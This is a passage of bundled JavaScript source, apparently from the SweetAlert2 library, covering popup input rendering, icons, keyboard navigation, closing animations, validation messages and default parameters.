  1960. const rerender = !innerParams || params.input !== innerParams.input;
  1961. inputClasses.forEach((inputClass) => {
  1962. const inputContainer = getDirectChildByClass(popup, swalClasses[inputClass]);
  1963. setAttributes(inputClass, params.inputAttributes);
  1964. inputContainer.className = swalClasses[inputClass];
  1965. if (rerender) {
  1966. hide(inputContainer);
  1967. }
  1968. });
  1969. if (params.input) {
  1970. if (rerender) {
  1971. showInput(params);
  1972. }
  1973. setCustomClass(params);
  1974. }
  1975. };
  1976. const showInput = (params) => {
  1977. if (!renderInputType[params.input]) {
  1978. error(`Unexpected type of input! Expected "text", "email", "password", "number", "tel", "select", "radio", "checkbox", "textarea", "file" or "url", got "${params.input}"`);
  1979. return;
  1980. }
  1981. const inputContainer = getInputContainer(params.input);
  1982. const input = renderInputType[params.input](inputContainer, params);
  1983. show(inputContainer);
  1984. setTimeout(() => {
  1985. focusInput(input);
  1986. });
  1987. };
  1988. const removeAttributes = (input) => {
  1989. for (let i = 0; i < input.attributes.length; i++) {
  1990. const attrName = input.attributes[i].name;
  1991. if (!["type", "value", "style"].includes(attrName)) {
  1992. input.removeAttribute(attrName);
  1993. }
  1994. }
  1995. };
  1996. const setAttributes = (inputClass, inputAttributes) => {
  1997. const input = getInput$1(getPopup(), inputClass);
  1998. if (!input) {
  1999. return;
  2000. }
  2001. removeAttributes(input);
  2002. for (const attr in inputAttributes) {
  2003. input.setAttribute(attr, inputAttributes[attr]);
  2004. }
  2005. };
  2006. const setCustomClass = (params) => {
  2007. const inputContainer = getInputContainer(params.input);
  2008. if (typeof params.customClass === "object") {
  2009. addClass(inputContainer, params.customClass.input);
  2010. }
  2011. };
  2012. const setInputPlaceholder = (input, params) => {
  2013. if (!input.placeholder || params.inputPlaceholder) {
  2014. input.placeholder = params.inputPlaceholder;
  2015. }
  2016. };
  2017. const setInputLabel = (input, prependTo, params) => {
  2018. if (params.inputLabel) {
  2019. input.id = swalClasses.input;
  2020. const label = document.createElement("label");
  2021. const labelClass = swalClasses["input-label"];
  2022. label.setAttribute("for", input.id);
  2023. label.className = labelClass;
  2024. if (typeof params.customClass === "object") {
  2025. addClass(label, params.customClass.inputLabel);
  2026. }
  2027. label.innerText = params.inputLabel;
  2028. prependTo.insertAdjacentElement("beforebegin", label);
  2029. }
  2030. };
  2031. const getInputContainer = (inputType) => {
  2032. return getDirectChildByClass(getPopup(), swalClasses[inputType] || swalClasses.input);
  2033. };
  2034. const checkAndSetInputValue = (input, inputValue) => {
  2035. if (["string", "number"].includes(typeof inputValue)) {
  2036. input.value = `${inputValue}`;
  2037. } else if (!isPromise(inputValue)) {
  2038. warn(`Unexpected type of inputValue! Expected "string", "number" or "Promise", got "${typeof inputValue}"`);
  2039. }
  2040. };
  2041. const renderInputType = {};
  2042. renderInputType.text = renderInputType.email = renderInputType.password = renderInputType.number = renderInputType.tel = renderInputType.url = (input, params) => {
  2043. checkAndSetInputValue(input, params.inputValue);
  2044. setInputLabel(input, input, params);
  2045. setInputPlaceholder(input, params);
  2046. input.type = params.input;
  2047. return input;
  2048. };
  2049. renderInputType.file = (input, params) => {
  2050. setInputLabel(input, input, params);
  2051. setInputPlaceholder(input, params);
  2052. return input;
  2053. };
  2054. renderInputType.range = (range, params) => {
  2055. const rangeInput = range.querySelector("input");
  2056. const rangeOutput = range.querySelector("output");
  2057. checkAndSetInputValue(rangeInput, params.inputValue);
  2058. rangeInput.type = params.input;
  2059. checkAndSetInputValue(rangeOutput, params.inputValue);
  2060. setInputLabel(rangeInput, range, params);
  2061. return range;
  2062. };
  2063. renderInputType.select = (select, params) => {
  2064. select.textContent = "";
  2065. if (params.inputPlaceholder) {
  2066. const placeholder = document.createElement("option");
  2067. setInnerHtml(placeholder, params.inputPlaceholder);
  2068. placeholder.value = "";
  2069. placeholder.disabled = true;
  2070. placeholder.selected = true;
  2071. select.appendChild(placeholder);
  2072. }
  2073. setInputLabel(select, select, params);
  2074. return select;
  2075. };
  2076. renderInputType.radio = (radio) => {
  2077. radio.textContent = "";
  2078. return radio;
  2079. };
  2080. renderInputType.checkbox = (checkboxContainer, params) => {
  2081. const checkbox = getInput$1(getPopup(), "checkbox");
  2082. checkbox.value = "1";
  2083. checkbox.id = swalClasses.checkbox;
  2084. checkbox.checked = Boolean(params.inputValue);
  2085. const label = checkboxContainer.querySelector("span");
  2086. setInnerHtml(label, params.inputPlaceholder);
  2087. return checkbox;
  2088. };
  2089. renderInputType.textarea = (textarea, params) => {
  2090. checkAndSetInputValue(textarea, params.inputValue);
  2091. setInputPlaceholder(textarea, params);
  2092. setInputLabel(textarea, textarea, params);
  2093. const getMargin = (el) => parseInt(window.getComputedStyle(el).marginLeft) + parseInt(window.getComputedStyle(el).marginRight);
  2094. setTimeout(() => {
  2095. if ("MutationObserver" in window) {
  2096. const initialPopupWidth = parseInt(window.getComputedStyle(getPopup()).width);
  2097. const textareaResizeHandler = () => {
  2098. const textareaWidth = textarea.offsetWidth + getMargin(textarea);
  2099. if (textareaWidth > initialPopupWidth) {
  2100. getPopup().style.width = `${textareaWidth}px`;
  2101. } else {
  2102. getPopup().style.width = null;
  2103. }
  2104. };
  2105. new MutationObserver(textareaResizeHandler).observe(textarea, {
  2106. attributes: true,
  2107. attributeFilter: ["style"]
  2108. });
  2109. }
  2110. });
  2111. return textarea;
  2112. };
  2113. const renderContent = (instance, params) => {
  2114. const htmlContainer = getHtmlContainer();
  2115. applyCustomClass(htmlContainer, params, "htmlContainer");
  2116. if (params.html) {
  2117. parseHtmlToContainer(params.html, htmlContainer);
  2118. show(htmlContainer, "block");
  2119. } else if (params.text) {
  2120. htmlContainer.textContent = params.text;
  2121. show(htmlContainer, "block");
  2122. } else {
  2123. hide(htmlContainer);
  2124. }
  2125. renderInput(instance, params);
  2126. };
  2127. const renderFooter = (instance, params) => {
  2128. const footer = getFooter();
  2129. toggle(footer, params.footer);
  2130. if (params.footer) {
  2131. parseHtmlToContainer(params.footer, footer);
  2132. }
  2133. applyCustomClass(footer, params, "footer");
  2134. };
  2135. const renderIcon = (instance, params) => {
  2136. const innerParams = privateProps.innerParams.get(instance);
  2137. const icon = getIcon();
  2138. if (innerParams && params.icon === innerParams.icon) {
  2139. setContent(icon, params);
  2140. applyStyles(icon, params);
  2141. return;
  2142. }
  2143. if (!params.icon && !params.iconHtml) {
  2144. hide(icon);
  2145. return;
  2146. }
  2147. if (params.icon && Object.keys(iconTypes).indexOf(params.icon) === -1) {
  2148. error(`Unknown icon! Expected "success", "error", "warning", "info" or "question", got "${params.icon}"`);
  2149. hide(icon);
  2150. return;
  2151. }
  2152. show(icon);
  2153. setContent(icon, params);
  2154. applyStyles(icon, params);
  2155. addClass(icon, params.showClass.icon);
  2156. };
  2157. const applyStyles = (icon, params) => {
  2158. for (const iconType in iconTypes) {
  2159. if (params.icon !== iconType) {
  2160. removeClass(icon, iconTypes[iconType]);
  2161. }
  2162. }
  2163. addClass(icon, iconTypes[params.icon]);
  2164. setColor(icon, params);
  2165. adjustSuccessIconBackgroundColor();
  2166. applyCustomClass(icon, params, "icon");
  2167. };
  2168. const adjustSuccessIconBackgroundColor = () => {
  2169. const popup = getPopup();
  2170. const popupBackgroundColor = window.getComputedStyle(popup).getPropertyValue("background-color");
  2171. const successIconParts = popup.querySelectorAll("[class^=swal2-success-circular-line], .swal2-success-fix");
  2172. for (let i = 0; i < successIconParts.length; i++) {
  2173. successIconParts[i].style.backgroundColor = popupBackgroundColor;
  2174. }
  2175. };
  2176. const successIconHtml = `
  2177. <div class="swal2-success-circular-line-left"></div>
  2178. <span class="swal2-success-line-tip"></span> <span class="swal2-success-line-long"></span>
  2179. <div class="swal2-success-ring"></div> <div class="swal2-success-fix"></div>
  2180. <div class="swal2-success-circular-line-right"></div>
  2181. `;
  2182. const errorIconHtml = `
  2183. <span class="swal2-x-mark">
  2184. <span class="swal2-x-mark-line-left"></span>
  2185. <span class="swal2-x-mark-line-right"></span>
  2186. </span>
  2187. `;
  2188. const setContent = (icon, params) => {
  2189. let oldContent = icon.innerHTML;
  2190. let newContent;
  2191. if (params.iconHtml) {
  2192. newContent = iconContent(params.iconHtml);
  2193. } else if (params.icon === "success") {
  2194. newContent = successIconHtml;
  2195. oldContent = oldContent.replace(/ style=".*?"/g, "");
  2196. } else if (params.icon === "error") {
  2197. newContent = errorIconHtml;
  2198. } else {
  2199. const defaultIconHtml = {
  2200. question: "?",
  2201. warning: "!",
  2202. info: "i"
  2203. };
  2204. newContent = iconContent(defaultIconHtml[params.icon]);
  2205. }
  2206. if (oldContent.trim() !== newContent.trim()) {
  2207. setInnerHtml(icon, newContent);
  2208. }
  2209. };
  2210. const setColor = (icon, params) => {
  2211. if (!params.iconColor) {
  2212. return;
  2213. }
  2214. icon.style.color = params.iconColor;
  2215. icon.style.borderColor = params.iconColor;
  2216. for (const sel of [".swal2-success-line-tip", ".swal2-success-line-long", ".swal2-x-mark-line-left", ".swal2-x-mark-line-right"]) {
  2217. setStyle(icon, sel, "backgroundColor", params.iconColor);
  2218. }
  2219. setStyle(icon, ".swal2-success-ring", "borderColor", params.iconColor);
  2220. };
  2221. const iconContent = (content) => `<div class="${swalClasses["icon-content"]}">${content}</div>`;
  2222. const renderImage = (instance, params) => {
  2223. const image = getImage();
  2224. if (!params.imageUrl) {
  2225. hide(image);
  2226. return;
  2227. }
  2228. show(image, "");
  2229. image.setAttribute("src", params.imageUrl);
  2230. image.setAttribute("alt", params.imageAlt);
  2231. applyNumericalStyle(image, "width", params.imageWidth);
  2232. applyNumericalStyle(image, "height", params.imageHeight);
  2233. image.className = swalClasses.image;
  2234. applyCustomClass(image, params, "image");
  2235. };
  2236. const renderPopup = (instance, params) => {
  2237. const container = getContainer();
  2238. const popup = getPopup();
  2239. if (params.toast) {
  2240. applyNumericalStyle(container, "width", params.width);
  2241. popup.style.width = "100%";
  2242. popup.insertBefore(getLoader(), getIcon());
  2243. } else {
  2244. applyNumericalStyle(popup, "width", params.width);
  2245. }
  2246. applyNumericalStyle(popup, "padding", params.padding);
  2247. if (params.color) {
  2248. popup.style.color = params.color;
  2249. }
  2250. if (params.background) {
  2251. popup.style.background = params.background;
  2252. }
  2253. hide(getValidationMessage());
  2254. addClasses$1(popup, params);
  2255. };
  2256. const addClasses$1 = (popup, params) => {
  2257. popup.className = `${swalClasses.popup} ${isVisible$1(popup) ? params.showClass.popup : ""}`;
  2258. if (params.toast) {
  2259. addClass([document.documentElement, document.body], swalClasses["toast-shown"]);
  2260. addClass(popup, swalClasses.toast);
  2261. } else {
  2262. addClass(popup, swalClasses.modal);
  2263. }
  2264. applyCustomClass(popup, params, "popup");
  2265. if (typeof params.customClass === "string") {
  2266. addClass(popup, params.customClass);
  2267. }
  2268. if (params.icon) {
  2269. addClass(popup, swalClasses[`icon-${params.icon}`]);
  2270. }
  2271. };
  2272. const renderProgressSteps = (instance, params) => {
  2273. const progressStepsContainer = getProgressSteps();
  2274. if (!params.progressSteps || params.progressSteps.length === 0) {
  2275. hide(progressStepsContainer);
  2276. return;
  2277. }
  2278. show(progressStepsContainer);
  2279. progressStepsContainer.textContent = "";
  2280. if (params.currentProgressStep >= params.progressSteps.length) {
  2281. warn("Invalid currentProgressStep parameter, it should be less than progressSteps.length (currentProgressStep like JS arrays starts from 0)");
  2282. }
  2283. params.progressSteps.forEach((step, index) => {
  2284. const stepEl = createStepElement(step);
  2285. progressStepsContainer.appendChild(stepEl);
  2286. if (index === params.currentProgressStep) {
  2287. addClass(stepEl, swalClasses["active-progress-step"]);
  2288. }
  2289. if (index !== params.progressSteps.length - 1) {
  2290. const lineEl = createLineElement(params);
  2291. progressStepsContainer.appendChild(lineEl);
  2292. }
  2293. });
  2294. };
  2295. const createStepElement = (step) => {
  2296. const stepEl = document.createElement("li");
  2297. addClass(stepEl, swalClasses["progress-step"]);
  2298. setInnerHtml(stepEl, step);
  2299. return stepEl;
  2300. };
  2301. const createLineElement = (params) => {
  2302. const lineEl = document.createElement("li");
  2303. addClass(lineEl, swalClasses["progress-step-line"]);
  2304. if (params.progressStepsDistance) {
  2305. applyNumericalStyle(lineEl, "width", params.progressStepsDistance);
  2306. }
  2307. return lineEl;
  2308. };
  2309. const renderTitle = (instance, params) => {
  2310. const title = getTitle();
  2311. toggle(title, params.title || params.titleText, "block");
  2312. if (params.title) {
  2313. parseHtmlToContainer(params.title, title);
  2314. }
  2315. if (params.titleText) {
  2316. title.innerText = params.titleText;
  2317. }
  2318. applyCustomClass(title, params, "title");
  2319. };
  2320. const render = (instance, params) => {
  2321. renderPopup(instance, params);
  2322. renderContainer(instance, params);
  2323. renderProgressSteps(instance, params);
  2324. renderIcon(instance, params);
  2325. renderImage(instance, params);
  2326. renderTitle(instance, params);
  2327. renderCloseButton(instance, params);
  2328. renderContent(instance, params);
  2329. renderActions(instance, params);
  2330. renderFooter(instance, params);
  2331. if (typeof params.didRender === "function") {
  2332. params.didRender(getPopup());
  2333. }
  2334. };
  2335. function hideLoading() {
  2336. const innerParams = privateProps.innerParams.get(this);
  2337. if (!innerParams) {
  2338. return;
  2339. }
  2340. const domCache = privateProps.domCache.get(this);
  2341. hide(domCache.loader);
  2342. if (isToast()) {
  2343. if (innerParams.icon) {
  2344. show(getIcon());
  2345. }
  2346. } else {
  2347. showRelatedButton(domCache);
  2348. }
  2349. removeClass([domCache.popup, domCache.actions], swalClasses.loading);
  2350. domCache.popup.removeAttribute("aria-busy");
  2351. domCache.popup.removeAttribute("data-loading");
  2352. domCache.confirmButton.disabled = false;
  2353. domCache.denyButton.disabled = false;
  2354. domCache.cancelButton.disabled = false;
  2355. }
  2356. const showRelatedButton = (domCache) => {
  2357. const buttonToReplace = domCache.popup.getElementsByClassName(domCache.loader.getAttribute("data-button-to-replace"));
  2358. if (buttonToReplace.length) {
  2359. show(buttonToReplace[0], "inline-block");
  2360. } else if (allButtonsAreHidden()) {
  2361. hide(domCache.actions);
  2362. }
  2363. };
  2364. function getInput(instance) {
  2365. const innerParams = privateProps.innerParams.get(instance || this);
  2366. const domCache = privateProps.domCache.get(instance || this);
  2367. if (!domCache) {
  2368. return null;
  2369. }
  2370. return getInput$1(domCache.popup, innerParams.input);
  2371. }
  2372. const isVisible = () => {
  2373. return isVisible$1(getPopup());
  2374. };
  2375. const clickConfirm = () => getConfirmButton() && getConfirmButton().click();
  2376. const clickDeny = () => getDenyButton() && getDenyButton().click();
  2377. const clickCancel = () => getCancelButton() && getCancelButton().click();
  2378. const DismissReason = Object.freeze({
  2379. cancel: "cancel",
  2380. backdrop: "backdrop",
  2381. close: "close",
  2382. esc: "esc",
  2383. timer: "timer"
  2384. });
  2385. const removeKeydownHandler = (globalState2) => {
  2386. if (globalState2.keydownTarget && globalState2.keydownHandlerAdded) {
  2387. globalState2.keydownTarget.removeEventListener("keydown", globalState2.keydownHandler, {
  2388. capture: globalState2.keydownListenerCapture
  2389. });
  2390. globalState2.keydownHandlerAdded = false;
  2391. }
  2392. };
  2393. const addKeydownHandler = (instance, globalState2, innerParams, dismissWith) => {
  2394. removeKeydownHandler(globalState2);
  2395. if (!innerParams.toast) {
  2396. globalState2.keydownHandler = (e) => keydownHandler(instance, e, dismissWith);
  2397. globalState2.keydownTarget = innerParams.keydownListenerCapture ? window : getPopup();
  2398. globalState2.keydownListenerCapture = innerParams.keydownListenerCapture;
  2399. globalState2.keydownTarget.addEventListener("keydown", globalState2.keydownHandler, {
  2400. capture: globalState2.keydownListenerCapture
  2401. });
  2402. globalState2.keydownHandlerAdded = true;
  2403. }
  2404. };
  2405. const setFocus = (index, increment) => {
  2406. const focusableElements = getFocusableElements();
  2407. if (focusableElements.length) {
  2408. index = index + increment;
  2409. if (index === focusableElements.length) {
  2410. index = 0;
  2411. } else if (index === -1) {
  2412. index = focusableElements.length - 1;
  2413. }
  2414. focusableElements[index].focus();
  2415. return;
  2416. }
  2417. getPopup().focus();
  2418. };
  2419. const arrowKeysNextButton = ["ArrowRight", "ArrowDown"];
  2420. const arrowKeysPreviousButton = ["ArrowLeft", "ArrowUp"];
  2421. const keydownHandler = (instance, event, dismissWith) => {
  2422. const innerParams = privateProps.innerParams.get(instance);
  2423. if (!innerParams) {
  2424. return;
  2425. }
  2426. if (event.isComposing || event.keyCode === 229) {
  2427. return;
  2428. }
  2429. if (innerParams.stopKeydownPropagation) {
  2430. event.stopPropagation();
  2431. }
  2432. if (event.key === "Enter") {
  2433. handleEnter(instance, event, innerParams);
  2434. } else if (event.key === "Tab") {
  2435. handleTab(event);
  2436. } else if ([...arrowKeysNextButton, ...arrowKeysPreviousButton].includes(event.key)) {
  2437. handleArrows(event.key);
  2438. } else if (event.key === "Escape") {
  2439. handleEsc(event, innerParams, dismissWith);
  2440. }
  2441. };
  2442. const handleEnter = (instance, event, innerParams) => {
  2443. if (!callIfFunction(innerParams.allowEnterKey)) {
  2444. return;
  2445. }
  2446. if (event.target && instance.getInput() && event.target instanceof HTMLElement && event.target.outerHTML === instance.getInput().outerHTML) {
  2447. if (["textarea", "file"].includes(innerParams.input)) {
  2448. return;
  2449. }
  2450. clickConfirm();
  2451. event.preventDefault();
  2452. }
  2453. };
  2454. const handleTab = (event) => {
  2455. const targetElement = event.target;
  2456. const focusableElements = getFocusableElements();
  2457. let btnIndex = -1;
  2458. for (let i = 0; i < focusableElements.length; i++) {
  2459. if (targetElement === focusableElements[i]) {
  2460. btnIndex = i;
  2461. break;
  2462. }
  2463. }
  2464. if (!event.shiftKey) {
  2465. setFocus(btnIndex, 1);
  2466. } else {
  2467. setFocus(btnIndex, -1);
  2468. }
  2469. event.stopPropagation();
  2470. event.preventDefault();
  2471. };
  2472. const handleArrows = (key) => {
  2473. const confirmButton = getConfirmButton();
  2474. const denyButton = getDenyButton();
  2475. const cancelButton = getCancelButton();
  2476. if (document.activeElement instanceof HTMLElement && ![confirmButton, denyButton, cancelButton].includes(document.activeElement)) {
  2477. return;
  2478. }
  2479. const sibling = arrowKeysNextButton.includes(key) ? "nextElementSibling" : "previousElementSibling";
  2480. let buttonToFocus = document.activeElement;
  2481. for (let i = 0; i < getActions().children.length; i++) {
  2482. buttonToFocus = buttonToFocus[sibling];
  2483. if (!buttonToFocus) {
  2484. return;
  2485. }
  2486. if (buttonToFocus instanceof HTMLButtonElement && isVisible$1(buttonToFocus)) {
  2487. break;
  2488. }
  2489. }
  2490. if (buttonToFocus instanceof HTMLButtonElement) {
  2491. buttonToFocus.focus();
  2492. }
  2493. };
  2494. const handleEsc = (event, innerParams, dismissWith) => {
  2495. if (callIfFunction(innerParams.allowEscapeKey)) {
  2496. event.preventDefault();
  2497. dismissWith(DismissReason.esc);
  2498. }
  2499. };
  2500. var privateMethods = {
  2501. swalPromiseResolve: /* @__PURE__ */ new WeakMap(),
  2502. swalPromiseReject: /* @__PURE__ */ new WeakMap()
  2503. };
  2504. const setAriaHidden = () => {
  2505. const bodyChildren = Array.from(document.body.children);
  2506. bodyChildren.forEach((el) => {
  2507. if (el === getContainer() || el.contains(getContainer())) {
  2508. return;
  2509. }
  2510. if (el.hasAttribute("aria-hidden")) {
  2511. el.setAttribute("data-previous-aria-hidden", el.getAttribute("aria-hidden"));
  2512. }
  2513. el.setAttribute("aria-hidden", "true");
  2514. });
  2515. };
  2516. const unsetAriaHidden = () => {
  2517. const bodyChildren = Array.from(document.body.children);
  2518. bodyChildren.forEach((el) => {
  2519. if (el.hasAttribute("data-previous-aria-hidden")) {
  2520. el.setAttribute("aria-hidden", el.getAttribute("data-previous-aria-hidden"));
  2521. el.removeAttribute("data-previous-aria-hidden");
  2522. } else {
  2523. el.removeAttribute("aria-hidden");
  2524. }
  2525. });
  2526. };
  2527. const iOSfix = () => {
  2528. const iOS = /iPad|iPhone|iPod/.test(navigator.userAgent) && !window.MSStream || navigator.platform === "MacIntel" && navigator.maxTouchPoints > 1;
  2529. if (iOS && !hasClass(document.body, swalClasses.iosfix)) {
  2530. const offset = document.body.scrollTop;
  2531. document.body.style.top = `${offset * -1}px`;
  2532. addClass(document.body, swalClasses.iosfix);
  2533. lockBodyScroll();
  2534. addBottomPaddingForTallPopups();
  2535. }
  2536. };
  2537. const addBottomPaddingForTallPopups = () => {
  2538. const ua = navigator.userAgent;
  2539. const iOS = !!ua.match(/iPad/i) || !!ua.match(/iPhone/i);
  2540. const webkit = !!ua.match(/WebKit/i);
  2541. const iOSSafari = iOS && webkit && !ua.match(/CriOS/i);
  2542. if (iOSSafari) {
  2543. const bottomPanelHeight = 44;
  2544. if (getPopup().scrollHeight > window.innerHeight - bottomPanelHeight) {
  2545. getContainer().style.paddingBottom = `${bottomPanelHeight}px`;
  2546. }
  2547. }
  2548. };
  2549. const lockBodyScroll = () => {
  2550. const container = getContainer();
  2551. let preventTouchMove;
  2552. container.ontouchstart = (event) => {
  2553. preventTouchMove = shouldPreventTouchMove(event);
  2554. };
  2555. container.ontouchmove = (event) => {
  2556. if (preventTouchMove) {
  2557. event.preventDefault();
  2558. event.stopPropagation();
  2559. }
  2560. };
  2561. };
  2562. const shouldPreventTouchMove = (event) => {
  2563. const target = event.target;
  2564. const container = getContainer();
  2565. if (isStylus(event) || isZoom(event)) {
  2566. return false;
  2567. }
  2568. if (target === container) {
  2569. return true;
  2570. }
  2571. if (!isScrollable(container) && target instanceof HTMLElement && target.tagName !== "INPUT" && target.tagName !== "TEXTAREA" && !(isScrollable(getHtmlContainer()) && getHtmlContainer().contains(target))) {
  2572. return true;
  2573. }
  2574. return false;
  2575. };
  2576. const isStylus = (event) => {
  2577. return event.touches && event.touches.length && event.touches[0].touchType === "stylus";
  2578. };
  2579. const isZoom = (event) => {
  2580. return event.touches && event.touches.length > 1;
  2581. };
  2582. const undoIOSfix = () => {
  2583. if (hasClass(document.body, swalClasses.iosfix)) {
  2584. const offset = parseInt(document.body.style.top, 10);
  2585. removeClass(document.body, swalClasses.iosfix);
  2586. document.body.style.top = "";
  2587. document.body.scrollTop = offset * -1;
  2588. }
  2589. };
  2590. const fixScrollbar = () => {
  2591. if (states.previousBodyPadding !== null) {
  2592. return;
  2593. }
  2594. if (document.body.scrollHeight > window.innerHeight) {
  2595. states.previousBodyPadding = parseInt(window.getComputedStyle(document.body).getPropertyValue("padding-right"));
  2596. document.body.style.paddingRight = `${states.previousBodyPadding + measureScrollbar()}px`;
  2597. }
  2598. };
  2599. const undoScrollbar = () => {
  2600. if (states.previousBodyPadding !== null) {
  2601. document.body.style.paddingRight = `${states.previousBodyPadding}px`;
  2602. states.previousBodyPadding = null;
  2603. }
  2604. };
  2605. function removePopupAndResetState(instance, container, returnFocus, didClose) {
  2606. if (isToast()) {
  2607. triggerDidCloseAndDispose(instance, didClose);
  2608. } else {
  2609. restoreActiveElement(returnFocus).then(() => triggerDidCloseAndDispose(instance, didClose));
  2610. removeKeydownHandler(globalState);
  2611. }
  2612. const isSafari = /^((?!chrome|android).)*safari/i.test(navigator.userAgent);
  2613. if (isSafari) {
  2614. container.setAttribute("style", "display:none !important");
  2615. container.removeAttribute("class");
  2616. container.innerHTML = "";
  2617. } else {
  2618. container.remove();
  2619. }
  2620. if (isModal()) {
  2621. undoScrollbar();
  2622. undoIOSfix();
  2623. unsetAriaHidden();
  2624. }
  2625. removeBodyClasses();
  2626. }
  2627. function removeBodyClasses() {
  2628. removeClass([document.documentElement, document.body], [swalClasses.shown, swalClasses["height-auto"], swalClasses["no-backdrop"], swalClasses["toast-shown"]]);
  2629. }
  2630. function close(resolveValue) {
  2631. resolveValue = prepareResolveValue(resolveValue);
  2632. const swalPromiseResolve = privateMethods.swalPromiseResolve.get(this);
  2633. const didClose = triggerClosePopup(this);
  2634. if (this.isAwaitingPromise()) {
  2635. if (!resolveValue.isDismissed) {
  2636. handleAwaitingPromise(this);
  2637. swalPromiseResolve(resolveValue);
  2638. }
  2639. } else if (didClose) {
  2640. swalPromiseResolve(resolveValue);
  2641. }
  2642. }
  2643. function isAwaitingPromise() {
  2644. return !!privateProps.awaitingPromise.get(this);
  2645. }
  2646. const triggerClosePopup = (instance) => {
  2647. const popup = getPopup();
  2648. if (!popup) {
  2649. return false;
  2650. }
  2651. const innerParams = privateProps.innerParams.get(instance);
  2652. if (!innerParams || hasClass(popup, innerParams.hideClass.popup)) {
  2653. return false;
  2654. }
  2655. removeClass(popup, innerParams.showClass.popup);
  2656. addClass(popup, innerParams.hideClass.popup);
  2657. const backdrop = getContainer();
  2658. removeClass(backdrop, innerParams.showClass.backdrop);
  2659. addClass(backdrop, innerParams.hideClass.backdrop);
  2660. handlePopupAnimation(instance, popup, innerParams);
  2661. return true;
  2662. };
  2663. function rejectPromise(error2) {
  2664. const rejectPromise2 = privateMethods.swalPromiseReject.get(this);
  2665. handleAwaitingPromise(this);
  2666. if (rejectPromise2) {
  2667. rejectPromise2(error2);
  2668. }
  2669. }
  2670. const handleAwaitingPromise = (instance) => {
  2671. if (instance.isAwaitingPromise()) {
  2672. privateProps.awaitingPromise.delete(instance);
  2673. if (!privateProps.innerParams.get(instance)) {
  2674. instance._destroy();
  2675. }
  2676. }
  2677. };
  2678. const prepareResolveValue = (resolveValue) => {
  2679. if (typeof resolveValue === "undefined") {
  2680. return {
  2681. isConfirmed: false,
  2682. isDenied: false,
  2683. isDismissed: true
  2684. };
  2685. }
  2686. return Object.assign({
  2687. isConfirmed: false,
  2688. isDenied: false,
  2689. isDismissed: false
  2690. }, resolveValue);
  2691. };
  2692. const handlePopupAnimation = (instance, popup, innerParams) => {
  2693. const container = getContainer();
  2694. const animationIsSupported = animationEndEvent && hasCssAnimation(popup);
  2695. if (typeof innerParams.willClose === "function") {
  2696. innerParams.willClose(popup);
  2697. }
  2698. if (animationIsSupported) {
  2699. animatePopup(instance, popup, container, innerParams.returnFocus, innerParams.didClose);
  2700. } else {
  2701. removePopupAndResetState(instance, container, innerParams.returnFocus, innerParams.didClose);
  2702. }
  2703. };
  2704. const animatePopup = (instance, popup, container, returnFocus, didClose) => {
  2705. globalState.swalCloseEventFinishedCallback = removePopupAndResetState.bind(null, instance, container, returnFocus, didClose);
  2706. popup.addEventListener(animationEndEvent, function(e) {
  2707. if (e.target === popup) {
  2708. globalState.swalCloseEventFinishedCallback();
  2709. delete globalState.swalCloseEventFinishedCallback;
  2710. }
  2711. });
  2712. };
  2713. const triggerDidCloseAndDispose = (instance, didClose) => {
  2714. setTimeout(() => {
  2715. if (typeof didClose === "function") {
  2716. didClose.bind(instance.params)();
  2717. }
  2718. instance._destroy();
  2719. });
  2720. };
  2721. function setButtonsDisabled(instance, buttons, disabled) {
  2722. const domCache = privateProps.domCache.get(instance);
  2723. buttons.forEach((button) => {
  2724. domCache[button].disabled = disabled;
  2725. });
  2726. }
  2727. function setInputDisabled(input, disabled) {
  2728. if (!input) {
  2729. return;
  2730. }
  2731. if (input.type === "radio") {
  2732. const radiosContainer = input.parentNode.parentNode;
  2733. const radios = radiosContainer.querySelectorAll("input");
  2734. for (let i = 0; i < radios.length; i++) {
  2735. radios[i].disabled = disabled;
  2736. }
  2737. } else {
  2738. input.disabled = disabled;
  2739. }
  2740. }
  2741. function enableButtons() {
  2742. setButtonsDisabled(this, ["confirmButton", "denyButton", "cancelButton"], false);
  2743. }
  2744. function disableButtons() {
  2745. setButtonsDisabled(this, ["confirmButton", "denyButton", "cancelButton"], true);
  2746. }
  2747. function enableInput() {
  2748. setInputDisabled(this.getInput(), false);
  2749. }
  2750. function disableInput() {
  2751. setInputDisabled(this.getInput(), true);
  2752. }
  2753. function showValidationMessage(error2) {
  2754. const domCache = privateProps.domCache.get(this);
  2755. const params = privateProps.innerParams.get(this);
  2756. setInnerHtml(domCache.validationMessage, error2);
  2757. domCache.validationMessage.className = swalClasses["validation-message"];
  2758. if (params.customClass && params.customClass.validationMessage) {
  2759. addClass(domCache.validationMessage, params.customClass.validationMessage);
  2760. }
  2761. show(domCache.validationMessage);
  2762. const input = this.getInput();
  2763. if (input) {
  2764. input.setAttribute("aria-invalid", true);
  2765. input.setAttribute("aria-describedby", swalClasses["validation-message"]);
  2766. focusInput(input);
  2767. addClass(input, swalClasses.inputerror);
  2768. }
  2769. }
  2770. function resetValidationMessage() {
  2771. const domCache = privateProps.domCache.get(this);
  2772. if (domCache.validationMessage) {
  2773. hide(domCache.validationMessage);
  2774. }
  2775. const input = this.getInput();
  2776. if (input) {
  2777. input.removeAttribute("aria-invalid");
  2778. input.removeAttribute("aria-describedby");
  2779. removeClass(input, swalClasses.inputerror);
  2780. }
  2781. }
  2782. const defaultParams = {
  2783. title: "",
  2784. titleText: "",
  2785. text: "",
  2786. html: "",
  2787. footer: "",
  2788. icon: void 0,
  2789. iconColor: void 0,
  2790. iconHtml: void 0,
  2791. template: void 0,
  2792. toast: false,
  2793. showClass: {
  2794. popup: "swal2-show",
  2795. backdrop: "swal2-backdrop-show",
  2796. icon: "swal2-icon-show"
  2797. },
  2798. hideClass: {
  2799. popup: "swal2-hide",
  2800. backdrop: "swal2-backdrop-hide",
  2801. icon: "swal2-icon-hide"
  2802. },
  2803. customClass: {},
  2804. target: "body",
  2805. color: void 0,
  2806. backdrop: true,
  2807. heightAuto: true,
  2808. allowOutsideClick: true,
  2809. allowEscapeKey: true,
  2810. allowEnterKey: true,
  2811. stopKeydownPropagation: true,
  2812. keydownListenerCapture: false,
  2813. showConfirmButton: true,
  2814. showDenyButton: false,
  2815. showCancelButton: false,
  2816. preConfirm: void 0,
  2817. preDeny: void 0,
  2818. confirmButtonText: "OK",
  2819. confirmButtonAriaLabel: "",
  2820. confirmButtonColor: void 0,
  2821. denyButtonText: "No",
  2822. denyButtonAriaLabel: "",
  2823. denyButtonColor: void 0,
  2824. cancelButtonText: "Cancel",
  2825. cancelButtonAriaLabel: "",
  2826. cancelButtonColor: void 0,
  2827. buttonsStyling: true,
  2828. reverseButtons: false,
